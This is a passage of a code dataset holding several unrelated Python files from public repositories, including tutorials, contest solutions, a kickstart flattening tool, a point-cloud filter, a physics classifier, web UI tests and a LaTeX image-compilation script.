predictions\nmodel=KNeighborsClassifier(n_neighbors=3)\nmodel.fit(trainingData,trainingLabels)\n\n# sampleInput=[213,110]\n# predictedClass=model.predict([sampleInput])\n# print(labelNames[predictedClass[0]])\n\npredictedClasses=model.predict(testingData)\nprint(predictedClasses)\n# solve using digit dataset from sklearn\n# solve regression problem using covid 19 dataset\n\n\n","repo_name":"Shimpa11/PythonTutorial","sub_path":"session48A.py","file_name":"session48A.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11404821599","text":"import copy\nimport math\n\ndef reduced_primesets(primes):\n threshold = 0\n for i in primes:\n threshold += i * primes[i]\n\n flop = True\n subsets_1 = [(1, 0)]\n subsets_2 = []\n\n for prime in primes:\n primecount = primes[prime]\n\n if flop:\n for prod, thisSum in subsets_1:\n max_of_this_prime = int(math.log(threshold / prod, prime))\n bound = min(max_of_this_prime + 1, primecount + 1)\n for i in range(bound):\n subsets_2.append((prod*(prime**i), thisSum+(prime*(primecount-i))))\n subsets_1 = []\n else:\n for prod, thisSum in subsets_2:\n max_of_this_prime = int(math.log(threshold / prod, prime))\n bound = min(max_of_this_prime + 1, primecount + 1)\n for i in range(bound):\n subsets_1.append((prod*(prime**i), thisSum+(prime*(primecount-i))))\n subsets_2 = []\n\n flop = not flop\n\n if flop:\n return subsets_1\n return subsets_2\n\nT = int(input())\n\nfor test_case in range(1, T+1):\n m = int(input())\n primes = {}\n for _ in range(m):\n p,n = map(int, input().split())\n primes[p] = n\n\n ans = 0\n\n solutionsets = reduced_primesets(primes)\n for p,q in solutionsets:\n if p == q:\n ans = max(ans, p)\n\n print(\"Case #{}: {}\".format(test_case, ans))","repo_name":"Shuvo31/CodeJam2021","sub_path":"Round 1A/Prime Time.py","file_name":"Prime Time.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"11225245270","text":"import sys\nimport argparse\nimport pykickstart\nimport pykickstart.parser\nfrom pykickstart.i18n import _\nfrom pykickstart.version import DEVEL, makeVersion\nfrom pykickstart.errors import KickstartVersionError\n\ndef parse_args(argv):\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-c\", \"--config\", dest=\"kscfg\", required=True,\n help=_(\"Path to kickstart config file\"))\n parser.add_argument(\"-v\", \"--version\", dest=\"version\", default=DEVEL,\n help=_(\"Kickstart version to use for interpreting config\"))\n parser.add_argument(\"-o\", \"--output\", dest=\"output\",\n help=_(\"Write flattened config to OUTPUT\"))\n\n return parser.parse_args(argv)\n\ndef main(argv=None):\n opts = parse_args(argv)\n if not opts.kscfg:\n return (1, _(\"Need to specify a config to flatten\"))\n\n try:\n ksversion = makeVersion(opts.version)\n except KickstartVersionError:\n return (1, _(\"The version %s is not supported by pykickstart\") % opts.version)\n\n ksparser = pykickstart.parser.KickstartParser(ksversion)\n try:\n ksparser.readKickstart(opts.kscfg)\n except IOError as msg:\n return (1, _(\"Failed to read kickstart file '%(filename)s' : %(error_msg)s\") % {\"filename\": opts.kscfg, \"error_msg\": msg})\n except pykickstart.errors.KickstartError as e:\n return (1, _(\"Failed to parse kickstart file '%(filename)s' : %(error_msg)s\") % {\"filename\": opts.kscfg, \"error_msg\": e})\n\n if opts.output:\n try:\n f = open(opts.output, 'w')\n except IOError as msg:\n return (1, _(\"Failed to open output file '%(filename)s' : %(error_msg)s\") % {\"filename\": opts.output, \"error_msg\": msg})\n else:\n f = sys.stdout\n\n f.write(\"%s\" % ksparser.handler)\n\n if opts.output:\n f.close()\n\n return (0, '')\n\nif __name__ == \"__main__\":\n retval, retmsg = main()\n if retmsg:\n print(retmsg, file=sys.stderr)\n sys.exit(retval)\n","repo_name":"pykickstart/pykickstart","sub_path":"tools/ksflatten.py","file_name":"ksflatten.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":218,"dataset":"github-code","pt":"62"} +{"seq_id":"34783789144","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jun 20 11:29:45 2018\r\n\r\n@author: lenovo\r\n\"\"\"\r\n\r\ndef analyze(s):\r\n out=[]\r\n for i in range(0,len(s)):\r\n if(s[i]==')'):\r\n m=''\r\n for j in range(i-1,0,-1):\r\n if(s[j]=='('):\r\n break\r\n else:\r\n m+=s[j]\r\n m=m[::-1]\r\n out.extend(analyze(m))\r\n for i in range(0,len(s)):\r\n if(s[i]=='*' or s[i]=='/'):\r\n for j in range(i-1,-1,-1):\r\n if(s[j].isdigit()):\r\n out.append(int(s[j]))\r\n break\r\n for j in range(i+1,len(s)):\r\n if(s[j].isdigit()):\r\n out.append(int(s[j]))\r\n break\r\n for i in range(0,len(s)):\r\n if(s[i]=='+' or s[i]=='-'):\r\n for j in range(i-1,-1,-1):\r\n if(s[j].isdigit()):\r\n out.append(int(s[j]))\r\n break\r\n for j in range(i+1,len(s)):\r\n if(s[j].isdigit()):\r\n out.append(int(s[j]))\r\n break\r\n return out\r\n \r\ns=input(\"please input calculation:\")\r\nout=analyze(s)\r\nprint(out)\r\n","repo_name":"HomeworkNJU/Final","sub_path":"161278031/4/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"44918778234","text":"\"\"\"\nVinit Ranjan, Chris Eckman\nLineage Logistics\n\nA modification to the RadiusOutlierFilter.py algorithm (same basic idea)\n\nThe modification is dropping the kD tree to do the k nearest neighbors step for an approximate nearest neighbor tree\n provided from the package annoy\n\nThis version trades a little accuracy but for a drastic increase in speed\n\nHEAVILY recommend using this instead of the deterministic one\n\nthe binary_search and get_neighbor_length methods are helper functions for the actual filter\n\nInputs:\ninput_cloud - list containing point cloud to filter\nr - radius to use\nsd_cutoffs - list of sd_cutoffs to try\ndim - dimension of points (will likely always be 3 for our applications)\nmetric - distance metric to use, usually will be Euclidean, check the annoy github page for all options\ntree_file - if you want to do multiple trials, you can build and save the ANN tree to disk\n (check https://github.com/spotify/annoy for details) and so, if you supply the file here itll load from disk\n instead od recomputing\nh5_file - the 'lengths' array is the number of neighbors per point, you can use h5py to save this array to disk and\n load it in - essentially an even further checkpoint\n\nReturns:\nouts - list of lists of points, same size as eps_list\n\"\"\"\nimport numpy as np\nimport pdb\nfrom scipy.spatial import kdtree\nimport time\nfrom tqdm import tqdm, trange\nfrom annoy import AnnoyIndex\nimport h5py\n\n\ndef binary_search(tree, arr, left, right, curr, r):\n while left <= right:\n mid = left + int((right - left) / 2)\n if tree.get_distance(curr, arr[mid]) < r:\n left = mid + 1\n else:\n right = mid - 1\n return left\n\n\ndef get_neighbor_length(k, num_neighbors, tree, r):\n neighbors = num_neighbors\n while 1:\n ann = tree.get_nns_by_item(k, neighbors, include_distances=False)\n if tree.get_distance(k, ann[-1]) < r:\n # print(ann[1][-1])\n # print(\"not enough\")\n neighbors *= 2\n else:\n cutoff = binary_search(tree, ann, 0, len(ann) - 1, k, r=r)\n return len(ann[:cutoff])\n\n\ndef ann_radial_filter_multi_stdev(input_cloud, r=.1, sd_cutoffs=[1, 1.5], metric='euclidean', dim=3, tree_file=None,\n h5_file=None):\n if h5_file is None:\n num = len(input_cloud)\n if tree_file is not None:\n tree = AnnoyIndex(dim, metric='euclidean')\n tree.load(tree_file)\n else:\n tree = AnnoyIndex(3, metric=metric)\n for k in trange(num, desc=\"Preparing for ANN\"):\n tree.add_item(k, input_cloud[k])\n\n start = time.time()\n num_trees = 4\n tree.build(num_trees)\n end = time.time() - start\n print(\"Building %d trees took %d seconds\" % (num_trees, end))\n\n lengths = []\n num_neighbors = 2000\n for k in trange(num, desc=\"Doing ANN\"):\n lengths.append(get_neighbor_length(k, num_neighbors, tree, r=r))\n\n print(\"neighbors found\")\n else:\n print(\"h5 file found at \"+h5_file)\n with h5py.File(h5_file, 'r') as hf:\n lengths = hf[h5_file][:]\n\n outs = []\n for sd in sd_cutoffs:\n outs.append(get_output(input_cloud, lengths, sd))\n pdb.set_trace()\n return outs\n\n\ndef get_output(input_cloud, lengths, sd_cutoff):\n output_cloud = []\n mean = np.mean(lengths)\n std = np.std(lengths)\n print(\"mean is %f\" % mean)\n print(\"std is %f\" % std)\n cutoff = mean - sd_cutoff * std\n for i in trange(len(lengths), desc=\"Removing outliers\"):\n if lengths[i] >= cutoff:\n output_cloud.append(input_cloud[i])\n return output_cloud\n","repo_name":"vinitranjan1/PointCloudProcessing","sub_path":"Filters/ANNRadialMultiStdev.py","file_name":"ANNRadialMultiStdev.py","file_ext":"py","file_size_in_byte":3701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28072839007","text":"import pickle\nimport numpy as np\nimport sklearn.tree\nimport sklearn.model_selection\nimport sklearn.ensemble\nimport sklearn.metrics\nimport matplotlib.pyplot as plt\n\n# Get files\nwith open(\"QCD_HT1000to1500_sphericity.p\", \"rb\") as f:\n CrossSection_HT1000to1500 = pickle.load(f)\n HT_HT1000to1500 = pickle.load(f)\n sph_HT1000to1500_allTracks = pickle.load(f)\n sph_HT1000to1500_dPhi = pickle.load(f)\n sph_HT1000to1500_relE = pickle.load(f)\n sph_HT1000to1500_highMult = pickle.load(f)\n sph_HT1000to1500_leadPt = pickle.load(f)\n sph_HT1000to1500_noLowMult = pickle.load(f)\n beta_HT1000to1500 = pickle.load(f)\n\nwith open(\"QCD_HT1500to2000_sphericity.p\", \"rb\") as f:\n CrossSection_HT1500to2000 = pickle.load(f)\n HT_HT1500to2000 = pickle.load(f)\n sph_HT1500to2000_allTracks = pickle.load(f)\n sph_HT1500to2000_dPhi = pickle.load(f)\n sph_HT1500to2000_relE = pickle.load(f)\n sph_HT1500to2000_highMult = pickle.load(f)\n sph_HT1500to2000_leadPt = pickle.load(f)\n sph_HT1500to2000_noLowMult = pickle.load(f)\n beta_HT1500to2000 = pickle.load(f)\n\nwith open(\"QCD_HT2000toInf_sphericity.p\", \"rb\") as f:\n CrossSection_HT2000toInf = pickle.load(f)\n HT_HT2000toInf = pickle.load(f)\n sph_HT2000toInf_allTracks = pickle.load(f)\n sph_HT2000toInf_dPhi = pickle.load(f)\n sph_HT2000toInf_relE = pickle.load(f)\n sph_HT2000toInf_highMult = pickle.load(f)\n sph_HT2000toInf_leadPt = pickle.load(f)\n sph_HT2000toInf_noLowMult = pickle.load(f)\n beta_HT2000toInf = pickle.load(f)\n\nwith open(\"mMed-1000_mDark-2_temp-2_decay-darkPhoHad_sphericity.p\", \"rb\") as f:\n CrossSection_sig = pickle.load(f)\n HT_sig = pickle.load(f)\n sph_sig_allTracks = pickle.load(f)\n sph_sig_dPhi = pickle.load(f)\n sph_sig_relE = pickle.load(f)\n sph_sig_highMult = pickle.load(f)\n sph_sig_leadPt = pickle.load(f)\n sph_sig_noLowMult = pickle.load(f)\n beta_sig = pickle.load(f)\n\n# Stitch data\nN_events_bkg = 100000\nN_events_sig = 10000\nn_classes = 2\n\nCrossSection = np.concatenate(\n (\n CrossSection_HT1000to1500[:N_events_bkg],\n CrossSection_HT1500to2000[:N_events_bkg],\n CrossSection_HT2000toInf[:N_events_bkg],\n )\n)\nHT_bkg = np.concatenate(\n (\n HT_HT1000to1500[:N_events_bkg],\n HT_HT1500to2000[:N_events_bkg],\n HT_HT2000toInf[:N_events_bkg],\n )\n)\nsph_bkg_allTracks = np.concatenate(\n (sph_HT1000to1500_allTracks, sph_HT1500to2000_allTracks, sph_HT2000toInf_allTracks)\n)\nsph_bkg_dPhi = np.concatenate(\n (sph_HT1000to1500_dPhi, sph_HT1500to2000_dPhi, sph_HT2000toInf_dPhi)\n)\nsph_bkg_relE = np.concatenate(\n (sph_HT1000to1500_relE, sph_HT1500to2000_relE, sph_HT2000toInf_relE)\n)\nsph_bkg_highMult = np.concatenate(\n (sph_HT1000to1500_highMult, sph_HT1500to2000_highMult, sph_HT2000toInf_highMult)\n)\nsph_bkg_leadPt = np.concatenate(\n (sph_HT1000to1500_leadPt, sph_HT1500to2000_leadPt, sph_HT2000toInf_leadPt)\n)\nsph_bkg_noLowMult = np.concatenate(\n (sph_HT1000to1500_noLowMult, sph_HT1500to2000_noLowMult, sph_HT2000toInf_noLowMult)\n)\nbeta_bkg = np.concatenate((beta_HT1000to1500, beta_HT1500to2000, beta_HT2000toInf))\n\nHT_sig = HT_sig[:N_events_sig]\n\n# Apply HT selection\nCrossSection = CrossSection[HT_bkg >= 1200]\nsph_bkg_allTracks = sph_bkg_allTracks[HT_bkg >= 1200]\nsph_bkg_dPhi = sph_bkg_dPhi[HT_bkg >= 1200]\nsph_bkg_relE = sph_bkg_relE[HT_bkg >= 1200]\nsph_bkg_highMult = sph_bkg_highMult[HT_bkg >= 1200]\nsph_bkg_leadPt = sph_bkg_leadPt[HT_bkg >= 1200]\nsph_bkg_noLowMult = sph_bkg_noLowMult[HT_bkg >= 1200]\nbeta_bkg = beta_bkg[HT_bkg >= 1200]\nsph_sig_allTracks = sph_sig_allTracks[HT_sig >= 1200]\nsph_sig_dPhi = sph_sig_dPhi[HT_sig >= 1200]\nsph_sig_relE = sph_sig_relE[HT_sig >= 1200]\nsph_sig_highMult = sph_sig_highMult[HT_sig >= 1200]\nsph_sig_leadPt = sph_sig_leadPt[HT_sig >= 1200]\nsph_sig_noLowMult = sph_sig_noLowMult[HT_sig >= 1200]\nbeta_sig = beta_sig[HT_sig >= 1200]\n\nbeta_bkg_abs = beta_bkg[:, 0] ** 2 + beta_bkg[:, 1] ** 2 + beta_bkg[:, 2] ** 2\nbeta_sig_abs = beta_sig[:, 0] ** 2 + beta_sig[:, 1] ** 2 + beta_sig[:, 2] ** 2\n\nbeta_abs = np.concatenate((beta_bkg_abs, beta_sig_abs))\nsph_dPhi = np.concatenate((sph_bkg_dPhi[:, 1], sph_sig_dPhi[:, 1]))\nX = np.column_stack((beta_abs, sph_dPhi))\n\nY_bkg = np.zeros(beta_bkg_abs.size)\nY_sig = np.ones(beta_sig_abs.size)\nY = np.concatenate((Y_bkg, Y_sig))\n\nX_mask = (X > 0.0) & (X < 1.0)\nX_mask = X_mask[:, 0] | X_mask[:, 1]\n\nX_train, X_test, Y_train, Y_test = sklearn.model_selection.train_test_split(\n X[X_mask], Y[X_mask], test_size=0.2, random_state=7\n)\n\nrng = np.random.RandomState(1)\nclf = sklearn.ensemble.AdaBoostClassifier(\n sklearn.tree.DecisionTreeClassifier(max_depth=2), n_estimators=100, random_state=rng\n)\nclf = clf.fit(X_train, Y_train)\nY_score = clf.decision_function(X_test)\n\nfpr = dict()\ntpr = dict()\nroc_auc = dict()\nfpr[0], tpr[0], _ = sklearn.metrics.roc_curve(Y_test, Y_score)\nroc_auc[0] = sklearn.metrics.auc(fpr[0], tpr[0])\n\n# Compute micro-average ROC curve and ROC area\nfpr[\"micro\"], tpr[\"micro\"], _ = sklearn.metrics.roc_curve(\n Y_test.ravel(), Y_score.ravel()\n)\nroc_auc[\"micro\"] = sklearn.metrics.auc(fpr[\"micro\"], tpr[\"micro\"])\n\n# Plot\nplot_colors = \"ryb\"\nplot_step = 0.02\nx_min, x_max = X_train[:, 0].min() - 0.1, X_train[:, 0].max() + 0.1\ny_min, y_max = X_train[:, 1].min() - 0.1, X_train[:, 1].max() + 0.1\nxx, yy = np.meshgrid(\n np.arange(x_min, x_max, plot_step), np.arange(y_min, y_max, plot_step)\n)\nZ = clf.predict(np.c_[xx.ravel(), yy.ravel()])\nZ = Z.reshape(xx.shape)\ncs = plt.contourf(xx, yy, Z, cmap=plt.cm.RdYlBu)\nfeatureNames = [\"$\\\\beta$\", \"sphericity\"]\nsampleNames = [\"QCD\", \"signal - mMed = 1000 GeV\"]\nplt.xlabel(featureNames[0])\nplt.ylabel(featureNames[1])\n\nfor i, color in zip(range(n_classes), plot_colors):\n idx = np.where(Y_train == i)\n plt.scatter(\n X_train[idx, 0],\n X_train[idx, 1],\n c=color,\n label=sampleNames[i],\n cmap=plt.cm.RdYlBu,\n edgecolor=\"black\",\n s=15,\n )\n\nplt.suptitle(\"Decision surface of a decision tree\")\nplt.legend(loc=\"lower right\", borderpad=0, handletextpad=0)\n\nplt.figure()\nlw = 2\nplt.plot(\n tpr[0],\n fpr[0],\n color=\"darkorange\",\n lw=lw,\n label=\"ROC curve (area = %0.2f)\" % roc_auc[0],\n)\nplt.plot([0, 1], [0, 1], color=\"navy\", lw=lw, linestyle=\"--\")\nplt.xlim([0.000001, 1.1])\nplt.ylim([0.000001, 1.5])\nplt.yscale(\"log\")\nplt.xlabel(\"True Positive Rate\")\nplt.ylabel(\"False Positive Rate\")\nplt.title(\"Receiver operating characteristic example\")\nplt.legend(loc=\"lower right\")\n\nplt.show()\n","repo_name":"chrispap95/EventShapes","sub_path":"OldCode/suepAnalysis_step3_BDT.py","file_name":"suepAnalysis_step3_BDT.py","file_ext":"py","file_size_in_byte":6511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"24217549764","text":"from nltk.stem import WordNetLemmatizer\n\nimport nltk\n\nlemmatizer = WordNetLemmatizer()\nsentence = 'Vegetables are types of plants.'\n\"\"\"lemma1 = lemmatizer.lemmatize('Vegetables are types of plants','n')\n\nprint(lemma1) # out: Vegetables are types of plants\"\"\"\n\n# This isn't the output we want. We want it to be lemmatized.\n# So we will try breaking the sentence into words and lemmatizing them.\n# This process is called Tokenizing the sentence\n\n# TOKENIZING SENTENCES\n# You need to download the punkt dictionary. One Time!\n# nltk.download('punkt')\n\nsentence_tokens = nltk.word_tokenize(sentence.lower())\n# we use lower() here because we need to pass these words through lemmatizer and lemmatize function works on lower case only!\nprint(sentence_tokens)\n\nnltk.download('averaged_perceptron_tagger')\n\npos_tags = nltk.pos_tag(sentence_tokens)\nprint(pos_tags)\n\n\"\"\" for token in sentence_tokens:\n lemma = lemmatizer.lemmatize(token, 'n')\n print(lemma)\n # If we use 'n' it lemmatizes nouns but not verb are to be.\n # if we use 'v' it lemmatizes verb but remains vegetables.\n # Hence we need pos tags for each of the tokens. (POS - Part Of Speech) \"\"\"\n\nsentence_lemmas=[]\nfor token, pos_tag in zip(sentence_tokens, pos_tags): # looping over sentence_tokens and the pos_tags.\n if pos_tag[1][0].lower() in ['n', 'v', 'a','r']:\n lemma = lemmatizer.lemmatize(token, pos_tag[1][0].lower()) # pos_tag = ('vegetables', 'NNS')-- we want the first N. Hence [1] gives 2nd element of tuple ie NNS and [0] gives us N. It should be in lower case for the lemmatizer.\n # This will give and error since ('of', 'IN') doesn't have a lemma. Hence we need a if loop here!\n sentence_lemmas.append(lemma)\n\nprint(sentence_lemmas)\n\n\n# In the next file we write it neatly inside a function!","repo_name":"vionapinto/Automation-using-Python","sub_path":"11_Natural_Language_Processing_NLP/Lemmatisation_of_sentences/lemma_sentences.py","file_name":"lemma_sentences.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30895418353","text":"import json\nfrom collections import OrderedDict\n\nimport requests_mock\n\nfrom response_operations_social_ui.views.social.social_view_case_details import group_and_order_events\nfrom tests.views.social import SocialViewTestCase\n\n\nclass TestSocialViewCaseDetails(SocialViewTestCase):\n\n @requests_mock.mock()\n def test_get_social_case(self, mock_request):\n mock_request.get(self.get_case_by_id_url, json=self.mocked_case_details)\n mock_request.get(self.get_sample_attributes_by_id_url, json=self.mocked_sample_attributes)\n mock_request.get(self.get_case_events_by_case_id_url, json=self.mocked_case_events)\n mock_request.get(self.iac_url, json=self.mocked_iacs)\n mock_request.get(self.get_available_case_group_statuses_direct_url, json=self.mocked_case_group_statuses)\n mock_request.get(self.get_collection_exercise_events_by_id_url, json=self.mocked_collex_events)\n\n response = self.client.get(f'/case/{self.case_id}', follow_redirects=True)\n\n self.assertEqual(response.status_code, 200)\n self.assertIn(\"LMS0001\".encode(), response.data)\n self.assertIn(\"NV184QG\".encode(), response.data)\n self.assertIn(\"In progress\".encode(), response.data)\n self.assertIn(\"Change Status\".encode(), response.data)\n self.assertNotIn(\"The collection exercise for this case has closed\".encode(), response.data)\n\n @requests_mock.mock()\n def test_get_social_sample_attributes_fail(self, mock_request):\n mock_request.get(self.get_case_by_id_url, json=self.mocked_case_details)\n mock_request.get(self.get_sample_attributes_by_id_url, status_code=500)\n mock_request.get(self.iac_url, json=self.mocked_iacs)\n\n response = self.client.get(f'/case/{self.case_id}', follow_redirects=True)\n\n request_history = mock_request.request_history\n self.assertEqual(len(request_history), 2)\n self.assertEqual(response.status_code, 500)\n\n @requests_mock.mock()\n def test_update_case_status_view(self, mock_request):\n mock_request.get(self.get_case_by_id_url, json=self.mocked_case_details)\n mock_request.get(self.get_sample_attributes_by_id_url, json=self.mocked_sample_attributes)\n mock_request.get(self.get_case_events_by_case_id_url, json=self.mocked_case_events)\n mock_request.get(self.get_available_case_group_statuses_direct_url, json=self.mocked_case_group_statuses)\n\n response = self.client.get(f'/case/{self.case_id}/change-response-status', follow_redirects=True)\n\n self.assertEqual(response.status_code, 200)\n self.assertIn(\"In progress\".encode(), response.data)\n\n @requests_mock.mock()\n def test_change_response_status(self, mock_request):\n mock_request.post(self.post_case_event)\n\n response = self.client.post(f'/case/{self.case_id}/change-response-status?status_updated=True&updated_'\n f'status=PRIVACY_DATA_CONFIDENTIALITY_CONCERNS',\n data={'event': 'LEGITIMACY_CONCERNS'})\n\n self.assertEqual(response.status_code, 302)\n self.assertIn('http://localhost/case/8849c299-5014-4637-bd2b-fc866aeccdf5?'\n 'status_updated=True&updated_status=LEGITIMACY_CONCERNS', response.location)\n\n @requests_mock.mock()\n def test_outcome_event_detail_is_displayed(self, mock_request):\n # Given\n with open(self.test_data_path + 'case/social_case_unknown_eligibility_status.json') as fp:\n mocked_case_details_unknown_eligibility = json.load(fp)\n with open(self.test_data_path + 'case/social_case_events_unknown_eligibility.json') as fp:\n mocked_case_events_unknown_eligibility = json.load(fp)\n mock_request.get(self.get_case_by_id_url, json=mocked_case_details_unknown_eligibility)\n mock_request.get(self.get_case_events_by_case_id_url, json=mocked_case_events_unknown_eligibility)\n mock_request.get(self.get_available_case_group_statuses_direct_url, json=self.mocked_case_group_statuses)\n mock_request.get(self.get_sample_attributes_by_id_url, json=self.mocked_sample_attributes)\n mock_request.get(self.get_collection_exercise_events_by_id_url, json=self.mocked_collex_events)\n mock_request.get(self.iac_url, json=self.mocked_iacs)\n\n # When\n response = self.client.get(f'/case/{self.case_id}')\n\n # Then\n self.assertIn(b'633 Wrong Address', response.data)\n\n def test_group_and_order_events(self):\n # Given\n available_events = {'TOO_BUSY': '572 Too Busy',\n 'ILL_AT_HOME': '511 Ill at home during survey period: notified to Head Office',\n 'WRONG_ADDRESS': '633 Wrong Address'}\n statuses = {'EQ_LAUNCH': 'INPROGRESS',\n 'TOO_BUSY': 'OTHERNONRESPONSE',\n 'WRONG_ADDRESS': 'UNKNOWNELIGIBILITY',\n 'ILL_AT_HOME': 'OTHERNONRESPONSE'}\n\n expected_grouped_ordered_events = OrderedDict(\n [('500 Other Non-Response', OrderedDict(\n [('ILL_AT_HOME', '511 Ill at home during survey period: notified to Head Office'),\n ('TOO_BUSY', '572 Too Busy')])),\n ('600 Unknown Eligibility', OrderedDict(\n [('WRONG_ADDRESS', '633 Wrong Address')]\n ))]\n )\n\n # When\n actual_grouped_ordered_events = group_and_order_events(available_events, statuses)\n\n # Then\n self.assertEqual(expected_grouped_ordered_events, actual_grouped_ordered_events)\n\n @requests_mock.mock()\n def test_new_iac_is_displayed(self, mock_request):\n mock_request.get(self.get_case_by_id_url, json=self.mocked_case_details)\n mock_request.get(self.get_sample_attributes_by_id_url, json=self.mocked_sample_attributes)\n mock_request.get(self.get_case_events_by_case_id_url, json=self.mocked_case_events)\n mock_request.get(self.iac_url, json=self.mocked_iacs)\n mock_request.get(self.get_available_case_group_statuses_direct_url, json=self.mocked_case_group_statuses)\n mock_request.get(self.get_collection_exercise_events_by_id_url, json=self.mocked_collex_events)\n mock_request.post(self.post_case_new_iac_url, json={'iac': 'testiac12345'})\n\n response = self.client.post('/iac',\n data=f'case_id={self.case_id}',\n follow_redirects=True,\n content_type='application/x-www-form-urlencoded')\n\n self.assertIn(b'test iac1 2345', response.data)\n\n @requests_mock.mock()\n def test_get_social_case_ce_closed(self, mock_request):\n mock_request.get(self.get_case_by_id_url, json=self.mocked_case_details)\n mock_request.get(self.get_sample_attributes_by_id_url, json=self.mocked_sample_attributes)\n mock_request.get(self.get_case_events_by_case_id_url, json=self.mocked_case_events)\n mock_request.get(self.iac_url, json=self.mocked_iacs)\n mock_request.get(self.get_available_case_group_statuses_direct_url, json=self.mocked_case_group_statuses)\n mock_request.get(self.get_collection_exercise_events_by_id_url, json=self.mocked_collex_events_closed)\n\n response = self.client.get(f'/case/{self.case_id}', follow_redirects=True)\n\n self.assertEqual(response.status_code, 200)\n self.assertNotIn(\"Generate new code\".encode(), response.data)\n self.assertIn(\"The collection exercise for this case has closed\".encode(), response.data)\n self.assertNotIn(\"Change Status\".encode(), response.data)\n","repo_name":"ONSdigital/response-operations-social-ui","sub_path":"tests/views/social/test_social_view_case_details.py","file_name":"test_social_view_case_details.py","file_ext":"py","file_size_in_byte":7616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"2676500523","text":"class Solution:\n def maxProfit(self, prices):\n l, r = 0, 1\n max_price = 0\n while r < len(prices):\n if prices[l] /dev/null\"\n\nif options.twocolumns:\n TITLE_CHARACTERS = 45\n WIDTH_STRING = \"0.45\\\\textwidth\"\nelse:\n TITLE_CHARACTERS = 80\n WIDTH_STRING = \"\\\\textwidth\"\n\n\n# initialize data\nEPS = False\nPDF = False\n\n# create TeX code\nif options.verbose:\n print(\"Scanning images...\")\n\n# check whether a caption is requested\nif options.caption is None:\n s = \"\"\nelse:\n s = \"\"\"\\\\begin{center}\n\\\\section*{%s}\n\\\\end{center}\n\\\\thispagestyle{empty}\n\"\"\" % options.caption\n\n# add possible extra information\nif options.infofile is not None:\n file_handle = open(options.infofile, 'r')\n s += r'\\begin{minipage}{\\textwidth}' \\\n + file_handle.read() \\\n + r'\\end{minipage}\\\\'\n file_handle.close()\n\n# run through all remaining options, which are the filenames of the images\nfor k, filename in enumerate(args):\n\n # check the image file\n img = os.path.abspath(filename)\n if os.path.exists(img):\n title = img\n filename = img\n ext = os.path.splitext(img)[1]\n if ext == \".eps\":\n EPS = True\n elif ext == \".pdf\":\n PDF = True\n elif os.path.exists(img + \".eps\"):\n title = img\n filename = \"%s.eps\" % img\n EPS = True\n elif os.path.exists(img + \".pdf\"):\n title = img\n filename = \"%s.pdf\" % img\n PDF = True\n else:\n if options.verbose:\n print(\"File '%s' does not exist and will be ignored\" % img)\n continue\n\n # handle the title\n if options.no_title:\n title_str = \"\"\n else:\n # strip title string if it is too long\n if len(title) > TITLE_CHARACTERS:\n title = \"...%s\" % title[3-TITLE_CHARACTERS:]\n title_str = \"\\\\verb\\\"%s\\\"\" % title\n\n # add the necessary tex-code\n s += \"\"\"\\\\begin{minipage}{%(width)s}\n \\\\includegraphics[width=\\\\textwidth]{%(filename)s}\n %(title)s\n \\\\end{minipage}\n \"\"\" % {'width':WIDTH_STRING, 'filename':filename, 'title':title_str}\n\n # handle the space between figures\n if options.twocolumns and k % 2 == 0:\n # we have to place the figure next to another one\n s += \"\\\\hfill\"\n\n\n# define latex document structure\ntex = \"\"\"\\\\documentclass[10pt]{article}\n\\\\usepackage[top=2cm, bottom=2cm, left=1cm, right=1cm, a4paper]{geometry}\n\\\\usepackage{graphicx} %% include graphics\n\\\\usepackage{grffile} %% support spaces in filenames\n\\\\begin{document}%%\n%s\n\\\\vfill\n\\\\end{document}\n\"\"\" % s\n\n# decide what to output\nif options.tex:\n # output TeX code\n print(tex)\nelse:\n if options.verbose:\n print(\"Compiling PDF file...\")\n\n # create temporary working directory\n cwd = os.getcwd()\n tmp = tempfile.mkdtemp()\n\n # write TeX code to file\n f = open(tmp + \"/img.tex\", \"w\")\n f.write(tex)\n f.close()\n\n # create PDF\n os.chdir(tmp)\n if PDF and EPS:\n print(\"Can't compile images, since both EPS and PDF files are given.\")\n elif PDF: # images are PDF documents\n os.system(\"pdflatex img.tex\" + verbosity)\n else: # images are EPS documents\n os.system(\"latex img.tex\" + verbosity)\n os.system(\"dvips img.dvi\" + verbosity)\n os.system(\"ps2pdf img.ps\" + verbosity)\n\n # output resulting PDF\n if outfile is None:\n f = open(tmp + \"/img.pdf\")\n print(f.read())\n f.close()\n else:\n shutil.copyfile(tmp + \"/img.pdf\", outfile)\n\n # house keeping\n os.system(\"rm -rf %s\" % tmp)\n os.chdir(cwd)\n","repo_name":"david-zwicker/python-functions","sub_path":"compile_images.py","file_name":"compile_images.py","file_ext":"py","file_size_in_byte":5141,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"36100899224","text":"# coding: utf-8\nfrom openerp.osv import osv, fields\nimport binascii\nimport hashlib\nimport logging\nfrom datetime import datetime\nfrom openerp.tools.translate import _\nfrom openerp.tools import float_repr\nimport urllib\nfrom openerp.addons.payment.models.payment_acquirer import ValidationError\nfrom openerp.tools.float_utils import float_compare\nfrom paybox_signature import Signature\nfrom urlparse import urljoin\n\n_logger = logging.getLogger(__name__)\n\nURL = [('https://preprod-tpeweb.paybox.com/', 'Test pré-production'),\n ('https://tpeweb.paybox.com/', 'Production'),\n ('https://tpeweb1.paybox.com/', 'Production (secours)')]\n\nclass PayboxAcquirer(osv.Model):\n _inherit = 'payment.acquirer'\n\n HASH = 